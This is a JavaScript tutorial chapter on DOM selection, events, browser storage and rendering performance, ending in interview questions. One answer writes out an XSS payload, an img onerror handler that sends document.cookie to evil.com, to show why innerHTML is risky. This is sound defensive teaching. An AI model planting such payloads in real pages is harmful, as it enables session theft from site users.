Documentation Index
Fetch the complete documentation index at: https://resources.devweekends.com/llms.txt
Use this file to discover all available pages before exploring further.
DOM & Browser APIs
The Document Object Model (DOM) is a tree-like representation of your HTML. JavaScript can read, modify, and react to changes in the DOM. This is what makes web pages interactive. Think of the DOM as a living family tree of your HTML document. The<html> tag is the root ancestor, <head> and <body> are its children, and every element nested inside them is another generation in the tree. When you use JavaScript to manipulate the DOM, you are reaching into this tree, grabbing a specific branch (element), and changing it — adding a leaf, removing a branch, or repainting a node. The browser then re-renders the visible page to match the new tree. Understanding this tree structure is the key to understanding everything in this chapter: why some operations are fast and others are slow, why event bubbling works the way it does, and why you need to be careful about when and how often you modify the DOM.
1. Selecting Elements
Modern Methods
Legacy Methods (Still Useful)
Selector Methods — Complete Comparison
| Method | Returns | Live? | Accepts | Speed | Use when |
|---|---|---|---|---|---|
getElementById('id') | Single element or null | N/A | ID string (no #) | Fastest | You have an ID and need peak performance |
querySelector('.cls') | First match or null | N/A | Any CSS selector | Fast | Default choice for single elements |
querySelectorAll('.cls') | Static NodeList | No | Any CSS selector | Fast | Default choice for multiple elements |
getElementsByClassName('cls') | Live HTMLCollection | Yes | Class name (no .) | Fast | Rare — when you need a live collection |
getElementsByTagName('div') | Live HTMLCollection | Yes | Tag name | Fast | Rare — counting/accessing by tag |
2. Traversing the DOM
Navigate relative to an element. Think of it like navigating a family tree: you can go up to parents, down to children, or sideways to siblings.3. Modifying Elements
Text and HTML Content
Content Properties — When to Use Which
| Property | Parses HTML? | XSS risk? | Includes hidden elements? | Performance | Use when |
|---|---|---|---|---|---|
textContent | No (raw text) | No (safe) | Yes (all text, even hidden) | Fast | Setting/reading text safely — the default choice |
innerText | No (raw text) | No (safe) | No (respects CSS visibility) | Slow (triggers reflow) | Reading visible text only (accessibility, scraping) |
innerHTML | Yes | Yes | Yes | Medium | Inserting trusted HTML templates |
outerHTML | Yes | Yes | Includes the element itself | Medium | Replacing an element entirely |
insertAdjacentHTML | Yes | Yes (but more controlled) | N/A | Fast (no reparse of existing content) | Adding HTML without destroying existing content/listeners |
Attributes
Classes
Styles
4. Creating & Removing Elements
Creating Elements
Inserting Elements
Removing & Replacing
5. Event Handling
Adding Event Listeners
The Event Object
Event Properties — target vs currentTarget
| Property | Meaning | Changes during bubbling? | Use when |
|---|---|---|---|
event.target | The element that triggered the event (deepest) | No (always the original element) | Event delegation — checking what was clicked |
event.currentTarget | The element the listener is attached to | Yes (changes as event bubbles) | Accessing the element you registered the handler on |
Event Delegation
Instead of adding listeners to many elements, add one to a parent. This works because events “bubble” up the DOM tree — a click on a child element also triggers click handlers on all its ancestors. Think of it like a security camera at the entrance of a building: instead of putting a camera in every room (one listener per element), you put one at the front door (one listener on the parent) and check the badge of whoever walks through (checkevent.target).
Common Events
6. Browser APIs
Local Storage
Persist data in the browser (survives page refresh and browser restarts).Browser Storage — When to Use Which
| Storage | Capacity | Persistence | Scope | Async? | API | Use case |
|---|---|---|---|---|---|---|
localStorage | ~5MB | Permanent (survives restarts) | Per origin | No (blocks) | Simple key-value | User preferences, theme, cached tokens |
sessionStorage | ~5MB | Until tab closes | Per tab + origin | No (blocks) | Simple key-value | Temporary form state, wizard progress |
| Cookies | ~4KB | Configurable (Expires/Max-Age) | Per origin, sent with requests | No | String manipulation | Auth tokens, server-readable state |
IndexedDB | 100MB+ | Permanent | Per origin | Yes | Complex (cursor-based) | Large datasets, offline apps, file caching |
| Cache API | Varies | Permanent | Per origin | Yes | Request/Response pairs | Service worker caching, offline-first apps |
Fetch API
Make HTTP requests (covered in Async chapter).Geolocation
Intersection Observer
Efficiently detect when elements enter/exit the viewport. Before this API existed, developers used scroll event listeners withgetBoundingClientRect(), which was expensive and caused jank. The Intersection Observer runs off the main thread and is dramatically more performant.
Clipboard API
History API
Manipulate browser history for Single Page Applications (SPAs). This is the low-level API that libraries like React Router and Vue Router use under the hood.7. Forms
FormData
Validation
Summary
The DOM is your interface to the web page:- Selection: Use
querySelectorandquerySelectorAll. - Modification: Change text, attributes, classes, and styles.
- Creation:
createElement,append,insertAdjacentHTML. - Events: Use delegation for better performance.
- Browser APIs: Storage, Geolocation, Intersection Observer, etc.
Course Complete
You now have a solid foundation in:- Fundamentals — Variables, types, and control flow
- Functions and Scope — Closures and higher-order functions
- Objects and Prototypes — The JavaScript object model
- Async JavaScript — Promises and async/await
- Modern JavaScript — ES6+ features
- DOM and Browser APIs — Building interactive web pages
What’s Next?
- Practice: Build projects. A todo app, weather app, or portfolio site.
- Frameworks: Learn React, Vue, or Angular.
- Backend: Explore Node.js for server-side JavaScript.
- TypeScript: Add static typing to your JavaScript.
Interview Deep-Dive
Explain event bubbling, capturing, and delegation. Why is delegation the preferred pattern for dynamic lists?
Explain event bubbling, capturing, and delegation. Why is delegation the preferred pattern for dynamic lists?
Strong Answer:
- When an event fires on a DOM element, it goes through three phases. Phase 1 (Capturing): the event travels DOWN from
windowtodocumentto the root element, through each ancestor, down to the target element. Phase 2 (Target): the event reaches the element that was actually interacted with. Phase 3 (Bubbling): the event travels back UP from the target through each ancestor towindow. By default,addEventListenerregisters handlers in the bubbling phase. Passing{ capture: true }registers in the capturing phase. - Event delegation exploits bubbling: instead of attaching a listener to every
<li>in a list, you attach one listener to the<ul>. When any<li>is clicked, the event bubbles up to the<ul>, and you useevent.target(orevent.target.closest('.item')) to identify which item was clicked. - Why delegation is preferred for dynamic lists: (1) Performance — 1 listener instead of N listeners. For a list of 10,000 items, that is 9,999 fewer event handlers consuming memory. (2) Dynamic elements — items added after the listener is attached are automatically covered because the parent listener catches bubbled events from any child. Without delegation, you must manually attach/detach listeners every time the list changes. (3) Cleanup — one listener to remove instead of N.
- The gotcha: not all events bubble.
focus,blur,mouseenter,mouseleave,load, andscroll(on elements) do not bubble. For these, use the capturing phase ({ capture: true }) or use their bubbling counterparts (focusin/focusoutinstead offocus/blur,mouseover/mouseoutinstead ofmouseenter/mouseleave). - Production pattern I rely on: attaching a single delegated click handler at the
document.bodylevel withdata-actionattributes on elements.document.body.addEventListener('click', (e) => { const action = e.target.closest('[data-action]')?.dataset.action; if (action === 'delete') handleDelete(e); }). This is the pattern Stimulus (Rails) and some lightweight frameworks use.
stopPropagation() prevents the event from continuing to parent elements (stops bubbling or capturing), but other listeners on the SAME element still fire. stopImmediatePropagation() stops propagation AND prevents other listeners on the same element from firing. Stopping propagation is often a mistake because it breaks event delegation. If a modal component calls stopPropagation() on clicks, and a parent component uses delegation to detect “click outside to close,” the delegation listener never fires because the event never reaches the parent. This creates invisible coupling between components. The better pattern is usually checking the event target in the parent handler rather than stopping propagation in the child. I have seen a production bug where a third-party analytics library attached a click listener to document for tracking, and a developer called stopPropagation() on button clicks inside a dropdown. All dropdown button clicks became invisible to analytics, and the team did not notice for months.What is the difference between textContent and innerHTML? Why is innerHTML a security risk?
What is the difference between textContent and innerHTML? Why is innerHTML a security risk?
Strong Answer:
textContentsets or gets the raw text content of an element. It does not parse HTML — if you setelement.textContent = '<b>bold</b>', the literal string<b>bold</b>is displayed, angle brackets and all. It is safe by design because it treats everything as text.innerHTMLsets or gets the HTML content of an element. The browser parses the string as HTML and creates DOM nodes. If you setelement.innerHTML = '<b>bold</b>', you get actual bold text. This is powerful but dangerous.- The security risk is Cross-Site Scripting (XSS). If any part of the HTML string comes from user input, an attacker can inject executable code. Classic example:
element.innerHTML = '<img src=x onerror="document.location=\'https://evil.com/?cookie=\'+document.cookie">'. The browser parses the<img>, fails to loadsrc=x, fires theonerrorhandler, and the attacker’s JavaScript runs with full access to the page’s cookies, localStorage, and DOM. - In practice, the rules are: (1) Never use
innerHTMLwith user-provided data. (2) If you must render user-provided HTML (rich text editors, markdown renderers), use a sanitization library like DOMPurify:element.innerHTML = DOMPurify.sanitize(userInput). (3) For building DOM from data, prefercreateElement+textContent, or use a framework (React, Vue) that escapes by default. - Modern alternative:
element.setHTML(htmlString, { sanitizer: new Sanitizer() })is the Sanitizer API, an in-progress web standard that provides built-in, browser-native sanitization. As of 2026, it has limited browser support, so DOMPurify remains the production standard.
<div>{userInput}</div> and userInput contains <script>alert('xss')</script>, React converts it to escaped text entities, so it displays as literal text, not executable code. This is one of React’s most important security features. dangerouslySetInnerHTML is the explicit escape hatch: <div dangerouslySetInnerHTML={{__html: sanitizedHTML}} />. It is necessary when you must render actual HTML — for example, rendering content from a CMS that outputs HTML, or displaying syntax-highlighted code. The name is deliberately alarming to signal that you are bypassing React’s XSS protection. Even with dangerouslySetInnerHTML, you should always sanitize with DOMPurify first. The __html key is intentionally awkward to type as an additional deterrent.Why is direct DOM manipulation expensive, and what strategies do frameworks use to minimize it?
Why is direct DOM manipulation expensive, and what strategies do frameworks use to minimize it?
Strong Answer:
- DOM manipulation is expensive because the DOM and JavaScript run in separate engines. In Chrome, JavaScript runs in V8, and the DOM is implemented in Blink (C++). Every DOM call crosses the V8-Blink boundary, which has marshaling overhead. Additionally, writing to the DOM triggers the browser’s rendering pipeline: style recalculation (which CSS rules apply?), layout/reflow (where does everything go?), paint (draw pixels), and compositing (layer the painted results). A single
element.style.width = '100px'can trigger layout for the entire page if the element’s size change affects siblings and parents. - Layout thrashing is the worst-case scenario: reading a layout property (like
offsetHeight), then writing (change a style), then reading again. Each read after a write forces the browser to synchronously recalculate layout to return an accurate value. In a loop doingelements.forEach(el => { el.style.height = el.offsetHeight + 10 + 'px'; }), the browser recalculates layout on every single iteration instead of batching. The fix is “batch reads, then batch writes”: read all heights first into an array, then apply all new heights. - Framework strategies: (1) Virtual DOM (React): maintain an in-memory representation of the DOM, diff the old tree against the new tree, and apply the minimal set of real DOM mutations. This turns N potential writes into the minimum necessary writes. (2) Reactive fine-grained updates (Solid.js, Svelte): compile templates to direct DOM update instructions at build time, skipping the virtual DOM diffing entirely. Each reactive value is wired directly to the specific DOM node it affects. (3) Template-based diffing (Vue): a hybrid approach where the compiler analyzes templates to generate optimized patch functions. (4) Document fragments: for vanilla JS, create elements in a
DocumentFragment(which is not in the live DOM) and append the fragment once. One reflow instead of N. requestAnimationFrameis the other key tool: it batches your DOM writes to execute just before the browser’s next paint, ensuring you are not fighting the rendering cycle.
requestAnimationFrame (rAF) schedules a callback to run just before the browser’s next repaint, typically at 60fps (every ~16.6ms). setTimeout(fn, 16) tries to approximate this but has problems: (1) it is not synchronized with the browser’s paint cycle, so animations can stutter or skip frames. (2) The minimum delay in browsers is clamped to 4ms, and for background tabs, setTimeout is throttled to once per second. (3) setTimeout fires even when the tab is not visible, wasting CPU. rAF automatically pauses when the tab is hidden (saving battery/CPU), synchronizes with the display’s refresh rate (works on 120Hz monitors too), and batches with other rAF callbacks for a single layout/paint cycle. For any visual animation (scroll effects, element transitions, canvas rendering), rAF is the only correct choice. setTimeout/setInterval should be reserved for non-visual timing (polling, delayed operations).Explain localStorage vs sessionStorage vs cookies vs IndexedDB. When would you use each?
Explain localStorage vs sessionStorage vs cookies vs IndexedDB. When would you use each?